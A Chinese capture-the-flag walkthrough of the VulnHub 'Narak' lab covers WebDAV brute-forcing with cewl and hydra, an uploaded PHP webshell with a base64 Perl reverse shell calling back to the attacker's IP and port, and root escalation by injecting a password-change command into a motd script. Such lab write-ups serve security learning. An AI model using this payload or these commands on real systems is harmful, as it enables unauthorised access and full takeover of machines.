• VulnHub narak


    一、信息收集

    1.nmap扫描开发端口

    2.扫描目录

    利用dirb扫描目录

    3.发现 /webdav目录 访问

    1. WebDAV 基于 HTTP 协议的通信协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。
    2. 常用的文件共享有三种:FTP、Samba、WebDAV,它们各有优缺点,了解后才能更好地根据自己的需求选择方案。

    二、漏洞利用

    现在考虑通过爆破的方式去登录 webdav,但是爆破需要一个好用的字典这里可以用 cewl 来制作字典

    1.cewl制作字典

    cewl 会通过爬行网页,把网页可能的单词爬取下来生成字典

    cewl http://192.168.103.180/ -w bp.txt

    2.九头蛇(hydra)爆破

    字典有了现在就是爆破了,可以用 九头蛇(hydra)来爆破

    非常好用hydra -L bp.txt -P bp.txt 192.168.103.180 http-get /webdav

    前面是字典路径用户名密码,然后地址,协议,目标网站路径

    账号密码爆破成功

    1. 账号:yamdoot
    2. 密码:Swarg

    3.cadaver 连接webdav客户端

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# cadaver http://192.168.103.180/webdav/
    1. function which($pr) {
    2. $path = execute("which $pr");
    3. return ($path ? $path : $pr);
    4. }
    5. function execute($cfe) {
    6. $res = '';
    7. if ($cfe) {
    8. if(function_exists('exec')) {
    9. @exec($cfe,$res);
    10. $res = join("\n",$res);
    11. } elseif(function_exists('shell_exec')) {
    12. $res = @shell_exec($cfe);
    13. } elseif(function_exists('system')) {
    14. @ob_start();
    15. @system($cfe);
    16. $res = @ob_get_contents();
    17. @ob_end_clean();
    18. } elseif(function_exists('passthru')) {
    19. @ob_start();
    20. @passthru($cfe);
    21. $res = @ob_get_contents();
    22. @ob_end_clean();
    23. } elseif(@is_resource($f = @popen($cfe,"r"))) {
    24. $res = '';
    25. while(!@feof($f)) {
    26. $res .= @fread($f,1024);
    27. }
    28. @pclose($f);
    29. }
    30. }
    31. return $res;
    32. }
    33. function cf($fname,$text){
    34. if($fp=@fopen($fname,'w')) {
    35. @fputs($fp,@base64_decode($text));
    36. @fclose($fp);
    37. }
    38. }
    39. $yourip = "192.168.103.129";
    40. $yourport = '4444';
    41. $usedb = array('perl'=>'perl','c'=>'c');
    42. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    43. "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    44. "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    45. "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    46. "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    47. "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    48. "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    49. cf('/tmp/.bc',$back_connect);
    50. $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
    51. ?>

    4.nc 监听

    1. ┌──(root💀kali)-[~]
    2. └─# nc -lvvp 4444
    3. 再访问http://192.168.103.180/webdav/1.php 就可以监听成功
    4. python3 -c 'import pty; pty.spawn("/bin/bash")' #交互式shell

    发现有三个用户

    查找密码

    前者是Brainfuck,后者就是base64,分别解码出来

    1. Brainfuck:chitragupt
    2. base64:yamdoot:Swarg

    ssh连接

    因为靶机开放了 ssh服务,猜测上面的应该是某个用户的密码才对,尝试登录真的登进去了
    拿到第一个 flag

    密码:chitragupt

    user.txt

    三、motd提权

    现在就是重要的提权阶段了,这次用的是 motd提权 进到/etc/update-motd.d目录,

    执行echo "echo 'root:root'|sudo chpasswd">>00-header 看见 00-header 的最下面多了一行我们写的命令,意思就是修改 root的密码为 root

    root.txt

    重新连接 ssh ,就可以提权 root权限了
    拿到第二个的flag

    账号密码都是root

  • 相关阅读:
    委派构造函数
    CTF —— 网络安全大赛(这不比王者好玩吗?)
    微服务架构转型
    微信小程序开发实战-setData字段特别多时怎么办,试试动态遍历字段并提取赋值
    Antd Vue a-select placeholder不显示问题
    MySQL是怎样运行的:从根儿上理解MySQL | B+树索引以及索引优化
    《优化接口设计的思路》系列:第二篇—接口用户上下文的设计与实现
    202203-3 CCF 计算资源调度器 (运用stl容器模拟 满分题解)
    java蚁群算法求解旅商问题
    zoj 1377 Grandpa‘s Estate
  • 原文地址:https://blog.csdn.net/SENMINGya/article/details/133749237